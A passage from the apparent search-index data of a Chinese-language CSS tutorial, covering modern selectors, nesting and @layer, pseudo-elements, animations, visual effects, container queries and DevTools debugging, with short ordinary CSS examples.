.next)（紧跟其后的兄弟存在）、:has(~ .x)（之后同级存在）、:has(> .x)（直接子元素）。它替掉了「用 JS 监听后给父加类」这一大类代码。 浏览器基线：:has() 已在 Chrome \u002F Edge \u002F Safari \u002F Firefox 全量支持（Firefox 121 起），属 Baseline 可用。代价是浏览器要在结构变化时重算，避免在超大列表上写高成本的选择器链（例如 body:has(...) 这种全局查询）。",{"id":130505,"title":122404,"titles":130506,"content":130507,"level":357},"\u002Ftutorials\u002Fcss#not-的多参数与结构伪类",[108416,116502],".btn:not(.primary, [disabled]) { … }    \u002F* 逗号 = and，等价于串联两个 :not() *\u002F\nli:nth-child(2 of .tag) { … }           \u002F* 「.tag 里的第 2 个」 *\u002F\ntr:nth-child(odd of :is(.tag, .note)) { … }\nli:nth-last-child(-n+2) { … }           \u002F* 倒数两项 *\u002F :nth-child(An+B of S) 解决了「跳过表头后再数奇偶」「只在某类元素里数第 N 个」这两个长期只能靠 JS 的需求。浏览器基线：这一形态同样已是主流内核全量支持（Firefox 113 \u002F Chrome 111 一线起）。",{"id":130509,"title":116874,"titles":130510,"content":130511,"level":357},"\u002Ftutorials\u002Fcss#状态伪类表单与交互的真相来源",[108416,116502],"选择器 含义 注意 :focus-visible 只在「该显示焦点环」时命中（键盘导航） 替代 outline: none 的正确写法，可访问性硬要求 :focus-within 后代任一元素获得焦点时命中容器 搜索框整块高亮的最省方案 :valid \u002F :invalid 校验状态 未交互的空必填项也算 invalid，直接上红框会吓人 :user-invalid 用户改过之后才判无效 做红框提示比 :invalid 合适（较新内核） :placeholder-shown 占位符仍显示 浮动 label 老配方，现在可用 :has() 更直观 :checked \u002F :default \u002F :indeterminate 选中 \u002F 默认选中 \u002F 半选 :indeterminate 只能由 JS 设置 :open \u003Cdetails> 展开 纯 CSS 折叠面板的状态源（第十七章配合伪元素） :target URL 的 hash 指向它 「定位高亮」零成本 :lang(zh) 按 lang 匹配 中英文的标点、字距、字体差异靠它",{"id":130513,"title":122407,"titles":130514,"content":130515,"level":357},"\u002Ftutorials\u002Fcss#calc-与混合单位",[108416,116502],".el { width: calc(100% - 2 * 16px); }               \u002F* %、px 必须在 calc 里才能相减 *\u002F\n.el { font-size: calc(1rem + 0.5vw); }\n.el { padding: max(12px, calc((100% - 640px) \u002F 2)); }\n.el { margin-top: calc(var(--n) * 6px); } 三条规则：+ - 两侧要有空格；* \u002F 的乘除数必须是纯数字（带单位非法）；参与长度计算的变量必须自带单位。clamp()\u002Fmin()\u002Fmax() 与 calc() 可以互相嵌套（第十三章的流式排版正是这个组合）。 更新的数学函数（round()、mod()、sign()、hypot()、tan() 等）已进入主流内核，用于生产前请用 @supports 检查（第二十章）。",{"id":130517,"title":117228,"titles":130518,"content":130519,"level":357},"\u002Ftutorials\u002Fcss#什么时候不该用现代选择器",[108416,116502],"用 :has() 表达「需要 JS 才能算出的业务状态」——状态该由 JS 写类，选择器只负责样式； 在 :is() 里混入不支持的选择器，整条规则被丢弃； 用超长选择器链去「抢权重」——权重问题回第四章，靠更合理的类名结构解决； 依赖 @scope \u002F :scope 做常规样式：仍在演进，生产项目请谨慎。",{"id":130521,"title":122410,"titles":130522,"content":130523,"level":341},"\u002Ftutorials\u002Fcss#十六原生嵌套与-layer",[108416],"CSS 规范补上了两件 Sass 早就有的能力：原生嵌套（少写重复上下文）与层叠层（把「谁优先」变成显式声明）。",{"id":130525,"title":122413,"titles":130526,"content":130527,"level":357},"\u002Ftutorials\u002Fcss#原生嵌套-是外层选择器原文",[108416,122410],".card {\n  border: 1px solid #d0d7de;\n  &:hover { border-color: #0969da; }        \u002F* → .card:hover *\u002F\n  & .meta { color: #57606a; }               \u002F* → .card .meta *\u002F\n  & + .card { margin-top: 10px; }           \u002F* → .card + .card *\u002F\n  &.is-active { border-width: 2px; }        \u002F* → .card.is-active —— 注意 & 与修饰符之间没有空格 *\u002F\n  &:has(img) { padding-top: 0; }\n  &::after { content: \"\"; }\n}\n.btn { &--primary { … } }                    \u002F* → .btn--primary，BEM 修饰符最短写法 *\u002F 空格是有语义的：&--hot 是 .card--hot，& --hot 是后代选择器。这是嵌套最常见的笔误。 & 出现在最前面时可以省略（ .card { h3 { … } }），但不建议——省略后隐含的是后代关系，权重和匹配范围都变了，可读性也下降。 条件规则可以写在规则内部，包括媒体查询、@supports、@container： .menu { @media (max-width: 24rem) { & { font-size: 13px; } } } 浏览器基线：原生嵌套（含 &、条件规则内嵌）在 Safari 16.5 \u002F Chrome 112 \u002F Firefox 117 一线已全量支持，属 Baseline 可用。需要兼容更旧内核时，让构建工具（Sass、PostCSS、Lightning CSS）降级展开，不要在生产里裸写。",{"id":130529,"title":117536,"titles":130530,"content":130531,"level":357},"\u002Ftutorials\u002Fcss#嵌套的代价选择器膨胀",[108416,122410],"\u002F* 四层嵌套写起来爽，展开后是这种怪物： *\u002F\n.page .section .list .item:hover .title span { … }   \u002F* 权重 (0,4,3)，几乎无法覆盖 *\u002F 症状：想改一个标题颜色只能加 !important；改一处 DOM 结构样式全断。四条经验值： 嵌套深度 ≤ 2 层（组件本体 + 一个子元素或状态）； 不要把布局上下文写进组件——组件不该知道自己被放在哪个 .page .section 里； 需要跨层级联动时用「变量或状态类」而不是选择器链（第十四章的组件变量）； 权重问题回第四章解决，靠类名结构而不是嵌套堆叠。",{"id":130533,"title":122416,"titles":130534,"content":130535,"level":357},"\u002Ftutorials\u002Fcss#layer把优先级写成一句声明",[108416,122410],"@layer reset, base, vendors, components, utilities, overrides;   \u002F* 越靠后越优先 *\u002F\n\n@layer base     { .panel { border-color: #bf8700; } }\n@layer vendors  { .panel { border-color: #cf222e; } }   \u002F* 后声明的层赢，与书写顺序无关 *\u002F 它解决的是老问题：第三方库和工具类的样式总在悄悄抢权重。有了层，你不再靠「写得靠后」或「加 !important」取胜，而是靠声明层顺序。 同名层会合并；@layer components { @layer button { … } } 形成 components.button 子层；还可以让第三方 CSS 进层而不改它源码： @layer vendors { @import \"reset.css\"; }",{"id":130537,"title":117733,"titles":130538,"content":130539,"level":357},"\u002Ftutorials\u002Fcss#完整的层叠顺序必须记住的一张表",[108416,122410],"从高到低： 进行中的过渡\u002F动画声明（第十八章）； 用户 !important（扩展、用户样式表）； 作者 !important：未分层最高，各层之间则反向（越早声明的层越优先）——这条最反直觉； 未分层（unlayered）作者样式：比所有已声明的层都高； 分层作者样式：按 @layer a, b, c; 顺序，c > b > a，同层内回到第四章的权重规则； 用户样式表； 浏览器默认。 第 4 条是实践中最容易踩的：「随手加的一行补丁」默认就是最强，会压住你所有分层规则。想让补丁被层管理，就把它放进最末的层。 另外区分两个名字相近、机制无关的概念：层叠上下文（第十二章的几何问题）与层叠层级（本节的声明顺序问题）。 浏览器基线：@layer 与 layer() 函数在 Chrome 99 \u002F Safari 15.4 \u002F Firefox 103 一线已全量支持。用法建议：项目从零开始才引入分层；给已有大项目补层容易和未分层样式打架。",{"id":130541,"title":117808,"titles":130542,"content":130543,"level":357},"\u002Ftutorials\u002Fcss#自查",[108416,122410],"「嵌套写了没生效」→ 检查 & 与空格（&--hot vs & --hot）； 「层里的样式被随手一行盖掉」→ 那是未分层默认最高，符合规范，把补丁挪进 overrides 层； 「加了 !important 反而输给早层」→ 正确行为； 「DevTools 里看不懂谁赢」→ Styles 面板会显示层名与权重，逐条取消勾选验证（第二十章）。",{"id":130545,"title":117839,"titles":130546,"content":130547,"level":341},"\u002Ftutorials\u002Fcss#十七伪元素与生成内容",[108416],"::before \u002F ::after 是「不写进 HTML 的装饰盒子」。它的价值在于让表现性内容与文档结构分离——代价是这份内容对搜索、复制、辅助技术都不可靠。",{"id":130549,"title":122422,"titles":130550,"content":130551,"level":357},"\u002Ftutorials\u002Fcss#只有一个前提必须有-content",[108416,117839],".x::before { content: \"\"; }      \u002F* 生成一个空盒子 —— 装饰全靠它 *\u002F\n.x::before { content: none; }    \u002F* 完全不生成，伪元素不存在 *\u002F 不写 content 时伪元素不会渲染。单冒号 :before 也能工作，但规范用双冒号区分伪元素与伪类（单冒号）。",{"id":130553,"title":122424,"titles":130554,"content":130555,"level":357},"\u002Ftutorials\u002Fcss#content-的取值形态",[108416,117839],".x::before { content: \"文字\"; }\n.x::before { content: attr(data-icon) \" \"; }                    \u002F* 属性值，可拼接 *\u002F\n.x::after  { content: \"（来源：\" attr(data-src, \"未标注\") \"）\"; }  \u002F* attr() 第二参数是回退值 *\u002F\n.x::after  { content: url(arrow.svg); }                          \u002F* 图片 *\u002F\n.x::before { content: counter(n) \".\" counter(m); }               \u002F* 计数器 *\u002F\n.x::before { content: open-quote; }                              \u002F* 引号，跟随 lang 与 quotes *\u002F\n.x::before { content: \"\\201C 转义字符\"; }                        \u002F* Unicode 转义后要有空格 *\u002F",{"id":130557,"title":122426,"titles":130558,"content":130559,"level":357},"\u002Ftutorials\u002Fcss#counter章节自动编号",[108416,117839],"body { counter-reset: sect sub; }              \u002F* 声明计数器（初值 0） *\u002F\n.sect { counter-increment: sect; }\n.sect::before { content: \"第 \" counter(sect) \" 节：\"; }\n.sub { counter-increment: sub; }\n.sub::before { content: counter(sect) \".\" counter(sub); }        \u002F* 两级编号 *\u002F counter() 的第二个参数可以指定样式：upper-roman、lower-alpha、cjk-decimal、decimal-leading-zero。它的价值不在替代 \u003Col>，而在「多级编号 + 非列表元素 + 跨元素拼字符串」这类真实需求（论文式标题、题号、章节引用）。 本站教程正文刻意不用自动编号：标题文字本身就是内容，编号写进正文而不是靠 CSS 生成，这样搜索结果、复制、读屏拿到的都是完整标题。",{"id":130561,"title":118246,"titles":130562,"content":130563,"level":357},"\u002Ftutorials\u002Fcss#其它伪元素一个比一个更只能装饰",[108416,117839],"伪元素 能做什么 限制 ::before \u002F ::after 任意装饰盒子 每个元素只有两个 ::first-line \u002F ::first-letter 首行\u002F首字样式（杂志风） 只接受少量属性；::first-letter 不能作用于行内非替换元素 ::marker 列表记号的颜色、字重，甚至用 content 换成箭头 只开放 content\u002Fcolor\u002Ffont-* 等少数属性 ::selection 选中高亮配色 只允许 color\u002Fbackground\u002Ftext-shadow 等；对比度必须够 ::placeholder 占位符样式 默认带透明度，需要显式覆盖 ::backdrop \u003Cdialog>\u002F全屏时遮罩层样式 配合 color-mix() 做半透明遮罩很合适",{"id":130565,"title":118361,"titles":130566,"content":130567,"level":357},"\u002Ftutorials\u002Fcss#五个纯-css-装饰配方",[108416,117839],"\u002F* 圆形序号徽标：counter + inline-grid 居中 *\u002F\n.steps { counter-reset: step; list-style: none; }\n.steps li { counter-increment: step; }\n.steps li::before { content: counter(step); display: inline-grid; place-items: center;\n                    width: 20px; height: 20px; border-radius: 50%; background: #0969da; color: #fff; }\n\u002F* 尖角 tooltip：零尺寸盒子 + 四条透明 border，只给一侧上色 *\u002F\n.tip::after { content: \"\"; position: absolute; top: 100%; border: 6px solid transparent; border-top-color: #24292f; }\n\u002F* hover 下划线：动 ::after 的 scaleX —— text-decoration 不能平滑过渡 *\u002F\n.ul-anim::after { content: \"\"; position: absolute; left: 0; right: 0; bottom: -2px; height: 2px;\n                  background: #0969da; transform: scaleX(0); transform-origin: left; transition: transform .22s; }\n.ul-anim:hover::after { transform: scaleX(1); }\n\u002F* 骨架屏：background-position 动画，不需要图片 *\u002F\n.skeleton { background: linear-gradient(90deg, #eaeef2 0 25%, #f6f8fa 37%, #eaeef2 63%) 0 0\u002F400% 100%;\n            animation: shimmer 1.4s ease infinite; } （伪元素与过渡\u002F动画的组合见第十八章；content 参与媒体查询做不同装饰也完全合法，见第十三章。）",{"id":130569,"title":118785,"titles":130570,"content":130571,"level":357},"\u002Ftutorials\u002Fcss#三个必须知道的限制",[108416,117839],"不能嵌 HTML：content 里写 \u003Cb> 只会显示字面量。需要结构就写进 DOM。 不可选中、不可搜索、复制会丢失：所以「必需信息」不要只存在于伪元素里（价格、状态文字、必填星号的说明）。读屏支持参差不齐，把它当纯装饰最安全。 每个元素只有两个：需要三层装饰时——给父用 ::before、子元素用 ::after，或者改用真实 \u003Cspan>、多重 box-shadow、多层 background（第八章）。 一条判断标准：图片的说明文字属于 HTML（alt），装饰符号属于 CSS（content）。前者是内容，后者是表现。",{"id":130573,"title":118841,"titles":130574,"content":130575,"level":341},"\u002Ftutorials\u002Fcss#十八过渡变形与动画",[108416],"动效的目标是「解释变化」，不是「装饰页面」。技术上只需要区分两件事：过渡负责两个状态之间，动画负责多帧序列。",{"id":130577,"title":122433,"titles":130578,"content":130579,"level":357},"\u002Ftutorials\u002Fcss#transition-的四要素",[108416,118841],".btn { transition: background-color 200ms ease-out 0s, border-color 200ms ease-in 50ms; } 顺序是 属性 \u002F 时长 \u002F 缓动 \u002F 延迟；两个时间同时出现时第一个是时长、第二个是延迟，写反含义就变。 最常见的笔误是把 transition 只写在 :hover 里——那样只有悬停时有过渡，移开时瞬间跳回。正确做法是写在基础状态上： .a { transition: all .3s; }        \u002F* ✓ *\u002F\n.a:hover { transform: translateY(-2px); } 不写 transition-property 时默认是 all，会带来意外的连锁动画（连布局属性都在补帧），建议显式列出要过渡的属性。",{"id":130581,"title":118990,"titles":130582,"content":130583,"level":357},"\u002Ftutorials\u002Fcss#缓动决定手感",[108416,118841],"进入用 ease-out（快起手、慢落位）； 离开用 ease-in； 来回运动用 ease-in-out； 需要「有重量」的弹跳用 cubic-bezier(.34, 1.56, .64, 1)（控制点 y 超出 1 会过冲回弹）； 精灵图\u002F打字机用 steps(6, end)； 新写法 linear(0, .6 20%, 1 40%, .8 55%, 1) 直接按关键帧描述曲线，回弹不必再手算贝塞尔控制点。 一个常被忽略的细节：animation-timing-function 作用于每两个关键帧之间（不是整段动画），也可以写在关键帧内部逐段指定。",{"id":130585,"title":122436,"titles":130586,"content":130587,"level":357},"\u002Ftutorials\u002Fcss#transform2d3d-与支点",[108416,118841],".x:hover { transform: translate(6px, -4px) rotate(-6deg) scale(1.1); }\n.wrap { perspective: 500px; }                 \u002F* 给 3D 一个观察距离 *\u002F\n.card:hover { transform: rotateY(180deg); }\n.origin { transform-origin: top left; }       \u002F* 旋转\u002F缩放的支点 *\u002F 三条要点： 顺序有意义：transform 是矩阵相乘，先 translate 再 rotate 与反过来结果不同； translate 的百分比相对自身尺寸——这是「未知宽高也能居中」的依据（第十二章）； scale 不改变布局占位，只是绘制时被放大，相邻元素不会让位（可能重叠）。 翻牌卡片：两面绝对定位叠在一起 + backface-visibility: hidden；立方体一类立体组合需要父级 transform-style: preserve-3d。",{"id":130589,"title":122438,"titles":130590,"content":130591,"level":357},"\u002Ftutorials\u002Fcss#只动-transform-与-opacity",[108416,118841],"属性 代价 transform、opacity 只需合成，不触发布局与重排 → 动画首选 width\u002Fheight\u002Ftop\u002Fleft\u002Fmargin\u002Fpadding 触发布局（layout），多元素同时动会掉帧 box-shadow、border-radius、background-color 触发重绘（paint），大面积时明显 用 left\u002Ftop 做位移 改用 transform: translate()，视觉一致、成本低得多 想给阴影加过渡时不要直接动 box-shadow（中间帧发灰且要重绘整块模糊），把阴影画在伪元素上、动它的 opacity： .lift::after { content: \"\"; position: absolute; inset: 0; border-radius: inherit; z-index: -1;\n               box-shadow: 0 8px 22px rgba(0,0,0,.22); opacity: 0; transition: opacity .22s; }\n.lift:hover::after { opacity: 1; }",{"id":130593,"title":122440,"titles":130594,"content":130595,"level":357},"\u002Ftutorials\u002Fcss#keyframes-与-animation-属性族",[108416,118841],"@keyframes rise { from { opacity: 0; transform: translateY(12px); } to { opacity: 1; transform: none; } }\n.item { animation: rise .5s ease-out both; animation-delay: calc(var(--i, 0) * 80ms); } 九个 longhand 里必须真正理解的三个： animation-fill-mode：forwards 结束后停在最后一帧，backwards 让延迟期间就显示第一帧，进入动画通常写 both（否则元素会先闪一下原位再飞入）； animation-delay 可以为负值：表示从动画中段开始播，做错峰循环很方便； animation-iteration-count 可以是小数：播到该比例停止。 多动画并列用逗号（animation: fade-in .6s both, nudge 1.4s infinite alternate;），第一个名字对应第一个时长。 进行中的动画声明优先级高于普通声明和 !important（第十六章的层叠表第 1 位）。所以「动画一跑 hover 就没反应」是规范行为，要先结束动画。",{"id":130597,"title":119594,"titles":130598,"content":130599,"level":357},"\u002Ftutorials\u002Fcss#重放暂停与错峰",[108416,118841],"\u002F* 暂停：CSS 就能控制，不需要 JS 计时 *\u002F\n.paused .box { animation-play-state: paused; }\n\u002F* 重新触发同名动画：必须先移除、强制回流、再加回（JS 里的一行技巧） *\u002F\nel.classList.remove('run'); void el.offsetWidth; el.classList.add('run');\n\u002F* 错峰：把延迟交给变量，避免给每项写一条规则 *\u002F\n.item { animation-delay: calc(var(--i) * 80ms); }   \u002F* \u003Cli style=\"--i:2\"> *\u002F",{"id":130601,"title":122443,"titles":130602,"content":130603,"level":357},"\u002Ftutorials\u002Fcss#will-change先测量再加",[108416,118841],".box { will-change: transform; }   \u002F* 提前把元素提升为合成层，避免动画开始时建层卡顿 *\u002F 三条纪律：只给「马上要动」的元素加（每个合成层都吃显存，几十层就负收益）；动画结束后移除；现代内核已经会对 transform\u002Fopacity 动画自动分层，实测收益常为零——先用 DevTools 的 Rendering（Paint flashing）与 Layers 面板确认再决定。 副作用要记住：will-change 会创建层叠上下文与包含块，可能改变 fixed 的参考系（第十二章）。",{"id":130605,"title":119725,"titles":130606,"content":130607,"level":357},"\u002Ftutorials\u002Fcss#滚动驱动动画新增能力",[108416,118841],".bar { animation: grow linear both; animation-timeline: scroll(self); }\n\u002F* 也可以用命名滚动轴或元素可见度：animation-timeline: view(block 20% 60%) *\u002F 浏览器基线：滚动驱动动画目前在 Chromium 系（Chrome\u002FEdge 115+）可用，Safari\u002FFirefox 仍在演进，属渐进增强——必须保证「动画不跑时视图也成立」（例如进度条不跑时停在 0，而不是盖住内容）。落笔与上线前请以 caniuse 当前数据为准。",{"id":130609,"title":119773,"titles":130610,"content":130611,"level":357},"\u002Ftutorials\u002Fcss#动效的三条纪律",[108416,118841],"只用于解释变化（位置、状态、加载进度），装饰性动效一律从简；时长 150–300ms 足够，超过 500ms 就会被感知为「慢」。 必须提供降级：@media (prefers-reduced-motion: reduce) 下关闭无限循环、把位移换成淡入（第十三章的全站写法）。 不要同时动很多个大面积元素：性能与注意力都是有限资源。",{"id":130613,"title":119800,"titles":130614,"content":130615,"level":341},"\u002Ftutorials\u002Fcss#十九视觉进阶渐变滤镜遮罩与混合",[108416],"这一章的工具全部服务于同一句话：让「不需要作为内容存在」的视觉，不用图片也能做出来。反过来也是判断标准——如果一块视觉承载了信息（截图、图表、产品图），它就该是 \u003Cimg> 而不是 CSS。",{"id":130617,"title":119818,"titles":130618,"content":130619,"level":357},"\u002Ftutorials\u002Fcss#渐变从线性到锥形",[108416,119800],"四种函数构成全部渐变能力： linear-gradient(135deg, #0969da, #8250df)                      \u002F* 角度或关键词 *\u002F\nradial-gradient(circle at 30% 30%, #fff 0 8%, #0969da 30%)     \u002F* 形状 + 圆心 + 色标区间 *\u002F\nconic-gradient(from 45deg at 50% 50%, red, gold, green, red)   \u002F* 绕一圈，色相环\u002F饼图 *\u002F\nrepeating-linear-gradient(...) \u002F repeating-conic-gradient(...) \u002F* 重复，条纹\u002F放射纹 *\u002F 两个立刻能用的配方： \u002F* 硬切色带：同一位置写两次色标 → 进度条、双色块 *\u002F\n.progress { background: linear-gradient(90deg, var(--brand-500) 62%, var(--bg-3) 62%); }\n\n\u002F* 环形进度：conic 上色 + mask 挖中心，纯 CSS 无 SVG *\u002F\n.ring { aspect-ratio: 1; border-radius: 50%;\n        background: conic-gradient(var(--brand-500) 0 var(--pct), var(--bg-3) var(--pct) 100%);\n        mask: radial-gradient(circle, transparent 0 55%, #000 56%); } 多层渐变叠加是「有质感的封面」的标准做法：一层径向高光 + 一层细密纹理 + 一层底色渐变，配合 background-blend-mode 决定层间混合方式（本章示例最后那个 hero 就是三层）。",{"id":130621,"title":122450,"titles":130622,"content":130623,"level":357},"\u002Ftutorials\u002Fcss#filter改自己的绘制结果",[108416,119800],"filter: grayscale(1) saturate(1.6) blur(2px) drop-shadow(3px 4px 0 rgba(9,105,218,.5)); 可用函数：blur() brightness() contrast() grayscale() hue-rotate() invert() opacity() saturate() sepia() drop-shadow()； drop-shadow() 与 box-shadow 的区别：前者贴着透明轮廓画，适合异形\u002F带透明通道的图片，后者只按矩形盒子； 三个副作用：创建层叠上下文（第十二章）、改变 fixed 的参考系、动画 filter 成本高（模糊半径变化要重绘）。 实用配方：禁用态 grayscale(1) + opacity(.6)；hover 轻微提饱和比加遮罩更省；缩略图统一色调用 filter 而不是重新处理图片。",{"id":130625,"title":122452,"titles":130626,"content":130627,"level":357},"\u002Ftutorials\u002Fcss#backdrop-filter毛玻璃",[108416,119800],".glass { background: rgba(255,255,255,.18);\n         backdrop-filter: blur(6px) saturate(1.4);\n         -webkit-backdrop-filter: blur(6px) saturate(1.4);\n         border: 1px solid rgba(255,255,255,.35); } 三条注意：需要 Safari 前缀；背后必须有内容才看得出效果（纯色底上等于白做）；大面积高斯模糊在低端设备上很贵，别给整页背景加。那条半透明 border 是让玻璃「看得见边界」的关键，缺了它面板会糊成一片。",{"id":130629,"title":122454,"titles":130630,"content":130631,"level":357},"\u002Ftutorials\u002Fcss#mask-与-clip-path软边界与硬边界",[108416,119800],"mask clip-path 表达 Alpha\u002F亮度决定「哪里可见」，可以有渐变过渡 几何裁剪，只有硬边界 语法 与 background 几乎一致（mask-image\u002Fsize\u002Fposition\u002Frepeat） inset() circle() ellipse() polygon() path() 典型用途 图片右缘渐隐、用 SVG 当图标形状（颜色交给 CSS） 切角卡片、星形、hover 时从方到圆的形变 .fade-out { mask: linear-gradient(90deg, #000 40%, transparent); }        \u002F* 列表末尾渐隐 *\u002F\n.icon { mask: url(star.svg) center\u002Fcontain no-repeat; background: currentColor; }  \u002F* 随文字色变化的图标 *\u002F\n.card { clip-path: polygon(0 0, 100% 0, 100% 70%, 70% 100%, 0 100%); } 两者都会创建层叠上下文，也都会裁掉溢出内容与阴影（第十二章的包含块规则同样适用）。clip-path 在两个形状函数相同、点数一致时可以平滑过渡——这是形变动效的做法；无障碍角度注意：被裁掉的文字仍会被读屏念到，视觉信息丢失要自己兜住。",{"id":130633,"title":122456,"titles":130634,"content":130635,"level":357},"\u002Ftutorials\u002Fcss#mix-blend-mode-与-background-blend-mode",[108416,119800],".overlay { mix-blend-mode: multiply; }        \u002F* 与背后元素混合 *\u002F\n.bg { background-blend-mode: multiply; }      \u002F* 自己的多层背景之间混合 *\u002F 常用值：multiply（变暗，适合阴影\u002F水印）、screen（变亮，适合光效）、overlay \u002F soft-light（保对比的叠加）、difference \u002F exclusion（反色文字）、hue \u002F luminosity（给图片换色相）。 关键的一条：给混合区域加 isolation: isolate，否则它会跟整个祖先背景混合，页面别处会出现莫名其妙的颜色变化（同时你也顺手创建了层叠上下文，见第十二章）。",{"id":130637,"title":120612,"titles":130638,"content":130639,"level":357},"\u002Ftutorials\u002Fcss#什么时候不要用这些",[108416,119800],"首屏大图：仍然应该 \u003Cimg> + srcset（能缓存、能裁切、能懒加载、有 alt）； 需要印刷\u002F导出 PDF 的视觉：filter 与 mask 在打印管线里表现不一致； 大面积持续动画的 filter\u002Fbackdrop-filter：低端设备掉帧明显（第十八章的性能原则）。",{"id":130641,"title":122459,"titles":130642,"content":314,"level":341},"\u002Ftutorials\u002Fcss#二十容器查询supports-与调试排错",[108416],{"id":130644,"title":120655,"titles":130645,"content":130646,"level":357},"\u002Ftutorials\u002Fcss#两条语句就够",[108416,122459],"\u002F* 一、把某个祖先声明为查询容器 *\u002F\n.card-zone { container-type: inline-size; container-name: cardzone; }\n\u002F* 二、子树内部按它的尺寸写规则（查询的是祖先，样式给后代） *\u002F\n@container cardzone (min-width: 340px) { .media { grid-template-columns: 128px 1fr; } } 也可以不写 container-name（匿名容器），但同名查询会命中「最近的」容器，跨组件复用时容易串味——给容器命名是更稳的习惯。简写形式：container: inline-size \u002F cardzone;。 它的价值：同一张卡片放进侧栏（窄）、主区（中）、整页 banner（宽），组件源码完全相同，表现由容器决定。媒体查询回答「屏幕多大」，容器查询回答「我被放进多大的地方」——后者才是组件级响应式。",{"id":130648,"title":122463,"titles":130649,"content":130650,"level":357},"\u002Ftutorials\u002Fcss#container-type-的三个值与代价",[108416,122459],"值 可查询 副作用 inline-size 只有宽度轴 最常用：不影响自身高度，不会产生循环依赖 size 两个轴 容器高度必须与内容无关（否则「内容决定高度、高度又决定内容」）——通常要显式给 height normal 不查询 默认，取消容器身份 另外两条必须知道：container-type 非 normal 时，元素会建立独立格式化上下文（内部 margin 不再与外部塌陷，见第九章），并成为绝对定位后代的包含块（第十二章）。",{"id":130652,"title":122465,"titles":130653,"content":130654,"level":357},"\u002Ftutorials\u002Fcss#容器单位cqi-cqb-cqmin-cqmax",[108416,122459],".title { font-size: 8cqi; }   \u002F* 字号相对容器宽度的 1% *\u002F\n.card  { padding: 2cqi; } 单位 相对什么 cqi 容器内联轴（水平书写模式下 = 宽度）的 1% cqb 容器块轴（= 高度）的 1%，需要 container-type: size 或 block cqw \u002F cqh 宽度 \u002F 高度的 1% cqmin \u002F cqmax 两者中较小 \u002F 较大者的 1% 与 vw 的关系一句话：vw 相对视口，cqi 相对最近的尺寸容器——组件内部一律用后者（第十三章的 clamp() 适合页面级排版，cqi 适合组件内）。",{"id":130656,"title":120956,"titles":130657,"content":130658,"level":357},"\u002Ftutorials\u002Fcss#与媒体查询的分工",[108416,122459],"问题 用什么 整页骨架变化（三栏 → 一栏、导航 → 汉堡） @media：这是页面级事实，只有视口能回答 组件在不同槽位里的形态 @container 卡片墙要几列 auto-fit + minmax()（第十一章），能不用查询就不用 字号随所在容器缩放 cqi 系统偏好（深浅色、减少动效、指针类型） @media 特性查询（第十三章） 三者可以叠加：外层媒体查询定骨架，内层容器查询定组件形态。",{"id":130660,"title":122468,"titles":130661,"content":130662,"level":357},"\u002Ftutorials\u002Fcss#与-has-组合能替掉一大类-js",[108416,122459],"@container (min-width: 420px) {\n  .list { grid-auto-flow: column; grid-auto-columns: 1fr; }\n  .list:has(> :nth-child(4)) { grid-auto-flow: row; grid-template-columns: repeat(2, 1fr); }\n} 「容器够宽就横排，但项数 ≥4 时改成两列」——这条需求两年前必须写 JS，现在是两条 CSS 规则。",{"id":130664,"title":122470,"titles":130665,"content":130666,"level":357},"\u002Ftutorials\u002Fcss#supports测试的是声明不是特性名",[108416,122459],"@supports (display: grid) { … }\n@supports (position: sticky) { … }\n@supports (display: grid) and (not (display: subgrid)) { … }\n@supports selector(:has(*)) { … }      \u002F* 选择器支持测试：参数是选择器而不是声明 *\u002F 浏览器会去解析括号里的声明块，能接受就命中——所以判断准确率高，不需要维护特性名表。三个边界要知道： 它只判断「语法是否被接受」，不判断实现是否有 bug 或只是部分支持； 判断不了前缀差异（老 Safari 的 -webkit- 写法要并列写两份测试）； 不支持时整块规则被丢弃，因此默认（基线）样式必须自身成立。 三种写法模式： \u002F* A. 基线 + 增强（推荐） *\u002F\n.bar { display: flex; gap: 8px; }\n@supports (container-type: inline-size) { .zone { container-type: inline-size; } }\n\n\u002F* B. 新方案 + 显式降级 *\u002F\n.grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); }\n@supports not (display: grid) { .grid > * { display: inline-block; width: 48%; } }",{"id":130668,"title":121393,"titles":130669,"content":130670,"level":357},"\u002Ftutorials\u002Fcss#devtools-四面板各自回答什么问题",[108416,122459],"面板 回答 最有用的三个动作 Styles 「哪条规则胜出、为什么」 逐条取消勾选看变化；看被划掉的声明与旁边的警告图标；展开 :hover、层名（第十六章）与优先级数字 Computed 「最终计算值是多少」 看盒子图（margin\u002Fborder\u002Fpadding\u002Fcontent 各层实测像素，第六章）；Ctrl+F 搜属性；展开 :root 看变量解析结果 Layout 「几何问题出在哪」 开启 sticky \u002F scroll-overflow \u002F Grid overlay，直接看轨道尺寸与被吸住的元素 Rendering 「性能与状态」 Paint flashing（绿闪=重绘）、Layers（合成层）、模拟 prefers-reduced-motion 与 prefers-color-scheme 三个不装插件就能做的动作：Elements 面板右键元素 → State… 强制 :hover\u002F:focus\u002F:checked；Styles 面板右上 ⋮ → Show all user-agent styles 看默认样式表；Network 面板禁用缓存 + 用无痕窗口排除扩展干扰。",{"id":130672,"title":121497,"titles":130673,"content":130674,"level":357},"\u002Ftutorials\u002Fcss#六个高频坑的复现与修法",[108416,122459],"现象 根因 修法 height: 100% 不生效 父级没有确定高度 给父显式高度；或父用 Grid\u002FFlex 靠 stretch；或整条链改用 min-height；或用 aspect-ratio\u002Fsvh 表达「占满」 内容撑破容器 Flex 子项 min-width 是 min-content（第十章） min-width: 0 + overflow-wrap: anywhere 意外的横向滚动条 负 margin、width: 100vw（含滚动条宽度）、未换行长串、跑到外面的绝对定位 Console 里过滤 el.scrollWidth > el.clientWidth 定位元凶；scrollbar-gutter: stable 防弹层抖动 margin 跑到父元素上 塌陷穿透（第六章） 父加 display: flow-root，或改用 gap 加了样式没变化 选择器没命中，或被更高权重\u002F更晚层覆盖（第四、十六章） Styles 面板看有没有列出这条、被划掉的是哪条 只在真机上不对 视口单位（svh\u002Fdvh 与 vh）、安全区、hover\u002Fpointer 判定 第十三章 + 第五章的相关条目 一行排查用的临时样式（只写在 DevTools 里，不要提交）： * { outline: 1px dashed rgba(255,0,0,.3); }   \u002F* 谁比想象中宽\u002F高，一眼看出 *\u002F\nimg { background: #ff0; }                      \u002F* 看图片实际渲染尺寸 *\u002F\n[style] { border: 2px solid red; }             \u002F* 揪出内联样式 *\u002F",{"id":130676,"title":121730,"titles":130677,"content":130678,"level":357},"\u002Ftutorials\u002Fcss#浏览器基线与降级策略汇总",[108416,122459],"本教程用到的较新能力，按「不支持会怎样」分类（版本号请以 caniuse 当前数据为准，这里给的是量级判断）： 能力 不支持时的表现 